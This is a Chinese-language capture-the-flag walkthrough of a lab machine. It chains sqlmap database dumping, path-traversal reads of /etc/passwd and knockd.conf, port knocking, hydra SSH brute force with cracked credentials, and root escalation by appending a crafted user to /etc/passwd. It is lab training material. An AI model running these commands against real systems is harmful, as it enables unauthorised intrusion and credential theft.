1. 信息搜集
扫描IP发现主机 192.168.163.135
扫描端口,发现80端口开放,22端口 filtered
说明可能存在ssh服务,但被拒绝访问
1
nmap -T4 -A -p- 192.168.163.135
扫描目录
1
dirsearch -u http://192.168.163.135/ -e* -i 200
/search.php
发现搜索框,使用sqlmap测试
2. 数据库爆破
使用bp抓取提交搜索的数据包,保存到a.txt
文件中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /results.php HTTP/1.1
Host: 192.168.163.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.163.135
Connection: close
Referer: http://192.168.163.135/search.php
Cookie: PHPSESSID=rn9as0edebkia6tvjbv2amr05p
Upgrade-Insecure-Requests: 1
Priority: u=0, i
search=12
sqlmap 测试 search
字段是否存在注入漏洞
1
sqlmap.py -r C:\Computer\Desktop\a.txt -p search --dbs
发现存在注入漏洞,且获取到两个数据库:Staff
、users
2.1. 爆破 Staff 数据库
获取表名
获取列名
获取用户名、密码
得到密码:transorbital1
2.2. 爆破 users 数据库
获取 users
数据库数据
1
sqlmap.py -r C:\Computer\Desktop\a.txt -p search -D users -T UserDetails -C username,password --dump
相关数据保存到了 C:\Users\vmuser\AppData\Local\sqlmap\output\192.168.163.135\dump\users\UserDetails.csv
文件中,可将其中内容复制到kali中,之后用来SSH爆破
3. 网站登录
通过用户:admin 密码:transorbital1 登录成功
发现 File does not exist
字段,猜测有文件包含漏洞
测试url: http://192.168.163.135/manage.php?file=../../../../etc/passwd ,成功获取到数据
由于ssh服务为 filtered
猜测是否存在敲门
构造url: http://192.168.163.135/welcome.php?file=../../../../../../etc/knockd.conf ,访问成功
4. SSH爆破
根据文件中的端口,依次访问
1
2
3
nc 192.168.163.135 7469
nc 192.168.163.135 8475
nc 192.168.163.135 9842
再次扫描端口,发现已开放
将爆破 users
数据库得到的.csv
文件内容复制到kali,保存为user.txt,使用vim将其中的 ,
替换为 :
,构造为符合hydra的格式
1
:%s/,/:/g
hydra爆破SSH
1
hydra -C user.txt ssh://192.168.163.135
用户名 | 密码 |
---|---|
chandlerb | UrAG0D! |
janitor | Ilovepeepee |
joeyt | Passw0rd |
janitor登陆成功,发现以下文件
查看内容,疑似密码
保存到文件中,并将之前的user.txt内容删去密码
1
:%s/:.*//g
爆破用户名密码
1
hydra -L user.txt -P pass.txt ssh://192.168.163.135
用户名 | 密码 |
---|---|
fredf | B4-Tru3-001 |
joeyt | Passw0rd |
获取到新的用户名,发现为系统管理员
5. root提权
登录成功,尝试 sudo -l
提权
发现 /opt/devstuff/dist/test/test
可用于提权,查看文件属性为二进制文件
搜索上级目录,发现源代码文件 test.py
查看脚本内容:输入两个参数,且都为文件路径,之后读取第一个文件内容,将其追加到第二个文件中
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
利用思路:向 /etc/passwd
中追加root权限用户,之后切换到该用户,实现root提权
使用无密码用户提权失败,因此生成加密密码,构造有密码用户
1
2
openssl passwd -1 123
# $1$1kseWC6t$1LvPSSOv2xgHthMIJWXA.0
构造 /etc/passwd
格式,保存到临时文件,执行test脚本将其追加到 /etc/passwd
中
1
2
3
echo 'rroott:$1$1kseWC6t$1LvPSSOv2xgHthMIJWXA.0:0:0::/root:/bin/bash' >/tmp/tf
sudo ./test /tmp/tf /etc/passwd
su rroott
提权成功
获取flag文件